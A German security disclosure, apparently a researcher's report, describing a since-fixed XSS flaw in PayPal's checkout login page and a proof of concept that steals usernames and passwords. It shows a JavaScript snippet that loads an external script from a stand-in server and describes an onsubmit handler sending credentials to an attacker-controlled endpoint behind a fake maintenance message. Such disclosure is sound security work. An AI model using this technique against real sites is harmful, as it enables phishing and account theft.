XSS-Verwundbarkeit in PayPal

Die Seite wird erstellt Hans Braun
 
WEITER LESEN
XSS-Verwundbarkeit in PayPal
XSS-Verwundbarkeit in PayPal

Dokumentation einer Cross Site Scripting-Lücke im Bezahlsystem des Unternehmens PayPal Inc., die
einem potentiellen Angreifer unter bestimmten Voraussetzungen das Stehlen des Benutzernamens
und des Passwords beliebiger Paypal-Kunden und damit den Zugriff auf deren Konten erlaubt.

Konstantin Preißer
XSS-Verwundbarkeit in PayPal
Wichtiger Hinweis: Die in diesem Dokument dokumentierte Sicherheitslücke
wurde von Paypal bereits im Mai 2012 behoben.
XSS-Verwundbarkeit in PayPal
Zusammenfassung
Das Unternehmen Paypal, Inc. ermöglicht es seinen Kunden, Geld über ihre Paypal-Konten
auszutauschen, um Zahlungen abzuwickeln. Dazu wird Geld z.B. von einem Bankkonto des Kunden
auf dessen Paypal-Konto eingezahlt, dann an das Paypal-Konto des Zahlungsempfängers geschickt,
und dieser kann es sich anschließend auszahlen lassen (gegen Abzug einer kleinen Gebühr, die Paypal
bei einer Transaktion erhebt).

Paypal kann auch für Onlineshop-Systeme genutzt werden, indem Shopbetreiber, die einen Paypal-
Account besitzen, ein Interface zu Paypal auf ihrem Webshop einbauen. Kunden des Onlineshops
werden dann bei der Zahlung auf die Paypal-Seite weitergeleitet, melden sich dort per Eingabe ihres
Paypal-Namens und Passworts an und können dann die Zahlung an den Empfänger durchführen.

In der Implementierung der Paypal-Seite für Onlineshops, auf der Kunden sich bei Paypal anmelden,
steckt eine Cross Site Scripting-Lücke (XSS), die es einem Angreifer, der einen Webshop vortäuscht
und Leute dazu verleitet, ein angebliches Produkt per Paypal zu bezahlen, erlaubt, den
Benutzernamen und das Passwort des Paypal-Benutzers zu stehlen, wenn dieser sich einloggen will
(ohne dass er es merkt).

Technischer Ablauf von Paypal-Zahlungen in Onlineshops
Eine Möglichkeit, um in einem Onlineshop die Bezahlung per Paypal einzubinden, ist die Erstellung
eines HTML-Formulars auf der Zahlungsseite, welches beim Absenden den Benutzer auf eine Paypal-
Seite weiterleitet und dabei Parameter wir Artikelbeschreibung, Preis, Anzahl usw. an die
aufgerufene Paypal-Seite übermittelt. Diese stellt die Informationen anschließend dar.

Der HTML-Code eines solchen Formulars könnte beispielsweise so aussehen:

Wenn der Benutzer dieses Formular absendet, erscheint die Paypal-Seite, die die im Formular
gesendeten Daten im linken Bereich anzeigt (z.B. „amount_1“: Preis des ersten Artikels,
„item_name_1“: Bezeichnung des ersten Artikels usw):
XSS-Verwundbarkeit in PayPal
Dort kann sich der Benutzer durch die Eingabe seines Passworts einloggen und anschließend die
Zahlung durchführen.

Beschreibung der XSS-Lücke
Die gezeigte Paypal-Seite enthält links einen Bereich, in dem die vom Webshop gesendeten
Artikelangaben wir Beschreibung, Preis usw. dargestellt werden. Die Seite verwendet dabei eine
JavaScript-Bibilothek zur Anzeige von Tooltips, wenn der Benutzer mit der Maus beispielsweise über
die Artikelbezeichnung fährt:
XSS-Verwundbarkeit in PayPal
Der angezeigte/übermittelte Text kann dabei jeweils max. 127 Zeichen lang sein.
Die Paypal-Seite selbst ist zwar gegen XSS gesichert, indem sie spezielle HTML-Zeichen wie „
XSS-Verwundbarkeit in PayPal
Wenn man dies als Artikelnummer verwendet, sieht der Tooltip so aus:

Zwar wird beim reinen Anzeigen des Tooltips das Script noch nicht ausgeführt, aber sobald der
Benutzer den Mauszeiger ein kleines Stück nach unten bewegt und über die Zeile mit dem „Hi!“
fährt, wird das onmousemove-Event ausgelöst, und die Seite sieht danach so aus:

Es ist also das Einschleusen und Ausführen eines fremden JavaScripts auf der Paypal-Seite gelungen.

Eine Beispieldatei zum Reproduzieren ist in der Zip-Datei „Example-1.zip“ enthalten. Wenn man die
Datei „MyWebshop.xhtml“ in einem Browser wie Firefox öffnet und auf den Button „Jetzt kaufen mit
Paypal“ klickt, wird der oben angegebene String als Artikelnummer gesendet. Wenn man
anschließend mit der Maus auf die Artikelnummer fährt und dann ein wenig nach unten (also über
den Tooltip), kann man das Verhalten beobachten, dass der Inhalt der Webseite verschwindet.

Mögliches Szenario
Wenn man nun die Möglichkeit hat, Javascript in eine Webseite einzuschleusen, könnte man die
Webseite beliebig umgestalten, indem man z.B. neue DOM-Elemente einfügt oder andere entfernt
bzw. ändert. Man könnte beispielsweise die Login-Maske ändern, sodass sie durch eine eigene
ersetzt wird, die den eingegebenen Paypal-Benutzernamen und das Passwort an einen fremden
Server schickt statt an Paypal, ohne dass der Benutzer dies merkt. Ein Angreifer bekäme dadurch
Zugriff auf das Paypal-Konto des entsprechenden Benutzers und könnte sich beispielsweise dessen
Geld auf sein Konto überweisen lassen.

Allerdings gibt es bei der Übermittlung der Artikeldaten vom Formular an die Paypal-Seite die
Einschränkung, dass der String nur aus max. 127 Zeichen bestehen darf. Man muss es also irgendwie
schaffen, einen String einzuschleusen, der ein externes JavaScript nachlädt, welches dann wesentlich
länger sein kann.
XSS-Verwundbarkeit in PayPal
Der Ansatz mit

funktioniert leider, wie oben bereits beschrieben, nicht.

Es gibt jedoch auch die Möglichkeit, per JavaScript ein Script-Element dynamisch zu erstellen und
dieses in den Dokumentenbaum einzufügen. Dies geht z.B. mit folgendem Code:

var newTag = document.createElement("script");
newTag.setAttribute("src", "https://www.mein-server.de/mein-javascript.js");
document.body.appendChild(newTag);

Dieses Code-Snippet könnte man dann wiederrum in den onmousemove-Handler anfügen. Allerdings
wäre dies meistens länger als 127 Zeichen. Um den Code zu verkürzen, kann man u.a. Dienste wie
https://bitly.com/ verwenden, die eine lange URL in eine kurze verwandeln (durch Aufruf der kurzen
URL wird man per HTTP 301-Redirect auf die ursprüngliche URL weitergeleitet). Ein auf diese Weise
verkürzter HTML-String könnte dann so aussehen:

D

Hier wurde auch das (syntaktisch eigentlich erforderliche) schließende -Tag weggelassen, da
Browser durch ihre Verwendung von „Tag Soup“-Parsern das fehlende Endtag automatisch ergänzen.
Dieser verkürzte String besteht nun tatsächlich aus 127 Zeichen und kann somit verwendet werden,
um eine fremde JavaScript-Datei zu laden, auf die die verwendete bit.ly-URL verweist. Der Benutzer
müsste dann wie im vorherigen Beispiel nur mit der Maus über die Artikelnummer fahren (damit der
Tooltip erscheint) und dann die Maus ein Stück nach unten bewegen, um den onmousemove-
Eventhandler auszulösen.

Wichtig ist, dass das Javascript von einer HTTPS-URL geladen wird (nicht HTTP), um die
Browserwarnung über „gemischten Content“ zu verhindern (die den Benutzer darauf hinweist, dass
einige Elemente der Seite nicht über verschlüsselte SSL/TLS-Verbindungen geladen wurden – in
diesem Fall das JavaScript). Ansonsten würde auch die grüne Adressleiste verschwinden, die dem
Benutzer ja zusichert, dass der Inhalt der Seite tatsächlich von PayPal stammt.

Mit Hilfe der extern nachgeladenen JavaScript-Datei könnte man nun beispielsweise die
Eingabemaske für Paypal-Benutzername und Passwort durch eine andere ersetzen, welche das
Passwort an einen vom Angreifer kontrollierten Server statt an Paypal weiterleitet.

Beispiel
In der Zip-Datei „Example-2.zip“ befindet sich ein Webserver (Apache Tomcat 7.0.27) sowie einige
Webdateien (Html, JS, JSP), mit denen das obige Szenario reproduziert werden kann. Die JSP-Datei
enthält dabei serverseitigen Java-Code, der vom Webserver (Tomcat) ausgeführt wird und welcher
das übermittelte Passwort empfangen und auswerten soll. Der Webserver ist so konfiguriert, dass er
ein selbstsigniertes SSL-Zertifikat (CN=127.0.0.1) für HTTPS-Verbindungen verwendet. Jedoch muss
der Browser so konfiguriert werden, dass er dieses Zertifikat (vorübergehend) akzeptiert, damit keine
Fehlermeldungen auftreten. Im folgenden Beispiel wird als Browser Mozilla Firefox unter Windows 7
verwendet.
XSS-Verwundbarkeit in PayPal
1. Der Inhalt der Zip-Datei „Example-2.zip“ sollte in ein beliebiges Verzeichnis entpackt werden.
   Dort sollte dann das Verzeichnis „apache-tomcat-7.0.27“ erstellt worden sein. In diesem
   befindet sich die Datei „starten.bat“, um den Server zu starten. Die Web-Dateien (HTML, JS
   usw.) befinden sich im Unterverzeichnis „webapps\PP“.

    14.05.2012   18:31         bin
    14.05.2012   18:41         conf
    14.05.2012   18:31         lib
    31.03.2012   15:44       57.846 LICENSE
    14.05.2012   18:41         logs
    14.05.2012   18:52       2.208 myKeyStore
    31.03.2012   15:44       1.228 NOTICE
    31.03.2012   15:44       9.054 RELEASE-NOTES
    31.03.2012   15:44       10.886 RUNNING.txt
    14.05.2012   18:46         216 starten.bat
    14.05.2012   18:31         temp
    14.05.2012   18:43         webapps
    14.05.2012   18:41         work

2. Zur Ausführung des Webservers wird Java benötigt. Die aktuelle Version kann von
   http://www.java.com/ heruntergeladen werden.
   Ggf. muss die Datei „starten.bat“ so editiert werden, dass in der ersten Zeile das korrekte
   Verzeichnis steht, in das Java installiert wurde. Der Standardwert sollte unter Windows Vista
   und 7 bereits stimmen, wenn Java 7 (die aktuelle Version) installiert wurde:
   set JRE_HOME=C:\Program Files\Java\jre7
   (Eine Abweichung gibt es, falls die 32-Bit-Java-Version (x86) unter einem 64-Bit-
   Betriebssystem installiert wurde – in diesem Fall müsste der Pfad
   „C:\Program Files (x86)\Java\jre7“ lauten).
3. Durch Starten der Datei „starten.bat“ sollte der Tomcat-Webserver gestartet werden:

4. Mit Mozilla Firefox kann nun die URL https://127.0.0.1:8443/PP/MyWebshop1.xhtml
   aufgerufen werden.
   Beim ersten Aufruf der Seite zeigt der Browser eine Warnung an, da das SSL-Zertifikat selbst
   signiert wurde.
Bei einem echten Server mit gültigem SSL-Zertifikat würde diese Warnung dann
   selbstverständlich nicht erscheinen. Um sie zu ignorieren, kann man auf „Ich kenne das
   Risiko“ und anschließend auf „Ausnahmen hinzufügen“ klicken, um temporär für dieses
   Zertifikat eine Ausnahme zu erstellen.
5. Nun sollte die Webseite angezeigt werden:

   Damit wird ein Webshop simuliert, den ein Angreifer nutzen könnte, um Paypal-Inhaber zum
   vermeintlichen Kauf des Artikels zu bewegen. Der Angreifer müsste allerdings die Personen
   irgendwie auf seine Webseite locken; er kann sie nicht zwingen, die Seite aufzurufen. Falls
   eine Person nun am Kauf des Artikels interessiert ist, klickt diese auf „Jetzt kaufen mit
   Paypal“.
6. Der Benutzer wird auf die Paypal-Seite weitergeleitet.

   Hinweis: Bei dieser Variante der Datenübermittlung (per Formular) an Paypal wird meistens
   zuerst der untere Reiter „Mit Lastschrift oder Kreditkarte“ angezeigt, mit dem man zahlen
   kann, wenn man noch kein Paypal-Konto hat. Dieses Beispiel basiert jedoch auf die
   Verwendung des oberen Reiters „Sie haben bereits ein PayPal-Konto“. Dieser muss also
   zunächst angeklickt werden. Bei der Verwendung alternativer Datenübermittlungsmethoden
   wie der Paypal-API ist beim Öffnen der Seite bereits der obere Reiter ausgewählt.
7. Der Benutzer sieht die „grüne Adressleiste“ (EV-SSL-Zertifikat) und weiß damit, dass diese
   Seite tatsächlich von Paypal stammt – somit kann mit dem Passwort ja eigentlich nichts
   passieren.
8. Evtl. wundert sich der Benutzer nun über die eigenartige „Artikelnummer“ und fährt mit der
   Maus darüber. Es wird nun der Tooltip mit dem Inhalt „D“ angezeigt.

9. Nun fährt der Benutzer langsam mit der Maus nach unten. Jetzt sollte sich das Schloss-Icon
   auf der rechten Seite von grau in blau geändert haben:
->
    Damit wird angezeigt, dass das JavaScript erfolgreich ausgeführt wurde (in einem echten
    Szenario würde der Angreifer soetwas natürlich nicht verwenden – er würde darauf achten,
    dass sich optisch nichts verändert). Ansonsten hat sich augenscheinlich aber nichts an der
    Seite verändert – das Eingabeformular sind immer noch genauso aus wie vorher, und auch
    die grüne Adressleiste bestätigt immer noch, dass man sich auf der echten Paypal-Seite
    befindet.
10. Der Benutzer gibt seinen Paypal-Benutzernamen und sein Passwort ein, um sich einzuloggen,
    und bestätigt mit „Einloggen“. In diesem Beispiel heißt der Benutzer „mein.name@web.de“
    und verwendet das Passwort „geheim511478“.

11. Nun erscheint allerdings eine Fehlermeldung mit der Angabe, es würden Wartungsarbeiten
    durchgeführt und ein Einloggen wäre deshalb nicht möglich:

    Augenscheinlich bestätigt aber die grüne Adressleiste immer noch, dass man sich auf der
    Paypal-Seite befindet – eigentlich dürfte also mit dem Passwort nichts passiert sein. Da ein
    Einloggen anscheinend wegen Wartungsarbeiten nicht möglich ist, verlässt der Benutzer die
    Seite wieder.
12. Ein Blick in das Konsolenfenster der Servers sollte nun verraten, welchen Benutzernamen
    und welches Passwort der Benutzer gerade eingegeben hat:
In einem echten Szenario hätte nun der Angreifer die Zugangsdaten zum Paypal-Konto eines
        Benutzers und könnte sich bei diesem einloggen.

Das JavaScript hat dabei an das originale Formular einen Eventhandler zum „onsubmit“-Ereignis
hinzugefügt, welcher aufgerufen wird, wenn das Formular abgeschickt wird. Beim Absenden des
Formulars erstellt dieser ein neues Image-Objekt und gibt als URL https://127.0.0.1:8443/PP/A1.jsp
an, unter der das JSP-Script liegt. Dann liest er die Textfelder aus und hängt die Werte als Parameter
als Querystring an die URL an (z.B.
https://127.0.0.1:8443/PP/A1.jsp?n=mein.name%40web.de&p=geheim511478). Das JSP-Script
wertet dann beimbeim Aufruf die Parameter „n“ und „p“ aus und schreibt sie in die Konsole des
Servers. Der JS-onsubmit-Eventhandler erstellt anschließend ein Overlay-Element mit dem Text über
die Wartungsarbeiten, welcher über das Eingabeformular gelegt wird, und schließlich gibt der
Eventhandler „false“ zurück, um zu verhindern, dass der Browser das Formular tatsächlich absendet.
Somit bleibt der Benutzer weiterhin auf der orginalen Paypal-Seite (mit der immer noch grünen
Adressleiste) und bekommt nicht mit, dass das Passwort nun in Wirklichkeit an den Angreifer geleitet
wurde.
Sie können auch lesen